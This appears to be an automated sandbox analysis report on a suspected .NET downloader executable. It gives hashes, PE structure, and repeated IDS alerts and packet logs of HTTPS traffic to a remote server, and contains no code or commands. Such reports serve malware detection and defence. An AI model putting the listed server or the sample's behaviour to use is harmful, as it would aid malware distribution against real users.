Entropy (8bit):	7.891446466857981
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	XTN1VzRJZm.exe
File size:	1'434'624 bytes
MD5:	f82cd0ba1b196fe665ff36de7d0a0cbd
SHA1:	a251975395405e88c4a28e389bc9bfd9a7e4c747
SHA256:	122a1ed5d5eacadd2c4049dd3f687e17d18ab5ec947f304057deed9d885be866
SHA512:	c30569cd2786d5055c1c9b74d4fa6757fa8c90cbcbbbdacc7d47d4423b2ab6144200a97473ac13310866078b38cbc335f8e953d3f65e10b5d92393099d66eafc
SSDEEP:	24576:O/CYUXDXMlUlnN6qShzccz9aEev2se8dkIHnxCrIOgAbMHYlzJvqKKAMFwn:AUzzlno3AgSBeekQy1gcMHYlzJYFwn
TLSH:	BE65234057C2F307EC5D067FB8A705A71BB9C51A5943D76BD8A89E3D2D8332D8E012AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g................................. ........@.. .......................@............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x55f92e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67AAC8E4 [Tue Feb 11 03:49:56 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15f8dc	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x160000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x162000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x15d934	0x15da00	95b4cf57539cc24a563b750e40c44de8	False	0.917128703745084	data	7.895077757669	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x160000	0x600	0x600	793f165bb8d4fdd2b8e971880196ee61	False	0.4166666666666667	data	4.072550575426027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x162000	0xc	0x200	482799154ac7e01bfe818c2f2eadb929	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1600a0	0x31c	data			0.4296482412060301
RT_MANIFEST	0x1603bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments
CompanyName
FileDescription	Kseqyvqc
FileVersion	1.0.0.0
InternalName	Kseqyvqc.exe
LegalCopyright	Copyright 2013
LegalTrademarks
OriginalFilename	Kseqyvqc.exe
ProductName	Kseqyvqc
ProductVersion	1.0.0.0
Assembly Version	1.0.0.0

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-07T16:06:57.667364+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49682	204.44.192.90	443	TCP
2025-03-07T16:07:00.448340+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49683	204.44.192.90	443	TCP
2025-03-07T16:07:03.428267+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49684	204.44.192.90	443	TCP
2025-03-07T16:07:06.108463+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49688	204.44.192.90	443	TCP
2025-03-07T16:07:08.757307+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49690	204.44.192.90	443	TCP
2025-03-07T16:07:11.370434+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49692	204.44.192.90	443	TCP
2025-03-07T16:07:14.191847+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49693	204.44.192.90	443	TCP
2025-03-07T16:07:16.932577+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49694	204.44.192.90	443	TCP
2025-03-07T16:07:19.593841+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49695	204.44.192.90	443	TCP
2025-03-07T16:07:22.332280+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49696	204.44.192.90	443	TCP
2025-03-07T16:07:24.991730+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49697	204.44.192.90	443	TCP
2025-03-07T16:07:27.712550+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49698	204.44.192.90	443	TCP
2025-03-07T16:07:30.400987+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49699	204.44.192.90	443	TCP
2025-03-07T16:07:33.398485+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49700	204.44.192.90	443	TCP
2025-03-07T16:07:36.156123+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49703	204.44.192.90	443	TCP
2025-03-07T16:07:38.853348+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49704	204.44.192.90	443	TCP
2025-03-07T16:07:41.545530+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49705	204.44.192.90	443	TCP
2025-03-07T16:07:44.209659+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49706	204.44.192.90	443	TCP
2025-03-07T16:07:46.857663+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49707	204.44.192.90	443	TCP
2025-03-07T16:07:49.507839+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49708	204.44.192.90	443	TCP
2025-03-07T16:07:52.278456+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49709	204.44.192.90	443	TCP
2025-03-07T16:07:54.878374+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49710	204.44.192.90	443	TCP
2025-03-07T16:07:57.578859+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49711	204.44.192.90	443	TCP
2025-03-07T16:08:00.245457+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49712	204.44.192.90	443	TCP
2025-03-07T16:08:02.879211+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49713	204.44.192.90	443	TCP
2025-03-07T16:08:06.448571+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49714	204.44.192.90	443	TCP
2025-03-07T16:08:09.224922+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49715	204.44.192.90	443	TCP
2025-03-07T16:08:11.927632+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49716	204.44.192.90	443	TCP
2025-03-07T16:08:14.633822+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49717	204.44.192.90	443	TCP
2025-03-07T16:08:17.344881+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49718	204.44.192.90	443	TCP
2025-03-07T16:08:20.060191+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49719	204.44.192.90	443	TCP
2025-03-07T16:08:22.746220+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49720	204.44.192.90	443	TCP
2025-03-07T16:08:25.491168+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49721	204.44.192.90	443	TCP
2025-03-07T16:08:28.187922+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49722	204.44.192.90	443	TCP
2025-03-07T16:08:30.957975+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49723	204.44.192.90	443	TCP
2025-03-07T16:08:33.708016+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49724	204.44.192.90	443	TCP
2025-03-07T16:08:36.426333+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49725	204.44.192.90	443	TCP
2025-03-07T16:08:39.111698+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49726	204.44.192.90	443	TCP
2025-03-07T16:08:41.784590+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49727	204.44.192.90	443	TCP
2025-03-07T16:08:44.472885+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49728	204.44.192.90	443	TCP
2025-03-07T16:08:47.521475+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49729	204.44.192.90	443	TCP
2025-03-07T16:08:50.842219+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49730	204.44.192.90	443	TCP
2025-03-07T16:08:53.530874+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49731	204.44.192.90	443	TCP
2025-03-07T16:08:56.331322+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49732	204.44.192.90	443	TCP
2025-03-07T16:08:58.986084+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49733	204.44.192.90	443	TCP
2025-03-07T16:09:01.730893+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49734	204.44.192.90	443	TCP
2025-03-07T16:09:04.610127+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49735	204.44.192.90	443	TCP
2025-03-07T16:09:07.245755+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49736	204.44.192.90	443	TCP
2025-03-07T16:09:09.849807+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49737	204.44.192.90	443	TCP
2025-03-07T16:09:12.649376+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49738	204.44.192.90	443	TCP
2025-03-07T16:09:16.252490+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49739	204.44.192.90	443	TCP
2025-03-07T16:09:19.068251+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49740	204.44.192.90	443	TCP
2025-03-07T16:09:21.935107+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49741	204.44.192.90	443	TCP
2025-03-07T16:09:24.703201+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49742	204.44.192.90	443	TCP
2025-03-07T16:09:27.415848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49743	204.44.192.90	443	TCP
2025-03-07T16:09:30.220994+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49744	204.44.192.90	443	TCP
2025-03-07T16:09:33.160294+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49745	204.44.192.90	443	TCP
2025-03-07T16:09:36.108020+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49746	204.44.192.90	443	TCP
2025-03-07T16:09:38.848948+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49747	204.44.192.90	443	TCP
2025-03-07T16:09:41.503150+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49748	204.44.192.90	443	TCP
2025-03-07T16:09:44.156943+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49749	204.44.192.90	443	TCP
2025-03-07T16:09:46.913364+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49750	204.44.192.90	443	TCP
2025-03-07T16:09:49.822430+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49751	204.44.192.90	443	TCP
2025-03-07T16:09:52.767661+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49752	204.44.192.90	443	TCP
2025-03-07T16:09:56.092791+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49753	204.44.192.90	443	TCP
2025-03-07T16:09:58.897253+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49754	204.44.192.90	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 16:06:51.738641024 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:51.738682985 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:51.738760948 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:51.750309944 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:51.750325918 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:53.717322111 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:53.717439890 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:53.723572016 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:53.723591089 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:53.723969936 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:53.768457890 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:53.816324949 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.640841961 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.640887022 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.640894890 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.640960932 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.640973091 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.660957098 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.661078930 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.661099911 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.685183048 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.685264111 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.685266018 CET	443	49681	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.685319901 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.695569992 CET	49681	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.702259064 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.702301979 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:54.702747107 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.702747107 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:54.702783108 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:56.667767048 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:56.669687986 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:56.669723988 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.667423010 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.667447090 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.667526007 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.667560101 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.687910080 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.688007116 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.688029051 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.730287075 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.743865013 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.743998051 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.744015932 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.744038105 CET	443	49682	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.744061947 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.744091034 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.744563103 CET	49682	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.745351076 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.745394945 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:57.745457888 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.745747089 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:57.745762110 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:59.557115078 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:06:59.559807062 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:06:59.559827089 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.448503971 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.448575974 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.448668957 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.448690891 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.468975067 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.469054937 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.469080925 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.504334927 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.504414082 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.504426956 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.504489899 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.504506111 CET	443	49683	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.504580975 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.504930019 CET	49683	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.505886078 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.505913973 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:00.506072044 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.506371021 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:00.506383896 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:02.476008892 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:02.481280088 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:02.481312037 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.428373098 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.428442955 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.428529978 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.428564072 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.448605061 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.448695898 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.448713064 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.495923996 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.508119106 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.508233070 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.508248091 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.508295059 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.508332014 CET	443	49684	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.508383036 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.508781910 CET	49684	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.509548903 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.509586096 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:03.509669065 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.509913921 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:03.509927034 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:05.249062061 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:05.251183033 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:05.251213074 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.108494997 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.108532906 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.108589888 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.108604908 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.131491899 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.131570101 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.131580114 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.159203053 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.159257889 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.159265041 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.159282923 CET	443	49688	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.159301996 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.159344912 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.159713030 CET	49688	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.160478115 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.160525084 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:06.160619974 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.160860062 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:06.160871983 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:07.864295959 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:07.866341114 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:07.866370916 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.757317066 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.757354021 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.757421017 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.757453918 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.786092043 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.786164999 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.786197901 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.804569006 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.804653883 CET	443	49690	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.804665089 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.804706097 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.805064917 CET	49690	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.805819035 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.805866003 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:08.806307077 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.806459904 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:08.806478977 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:10.487164021 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:10.489247084 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:10.489274025 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.370443106 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.370471001 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.370553017 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.370563984 CET	443	49692	204.44.192.90	192.168.2.10
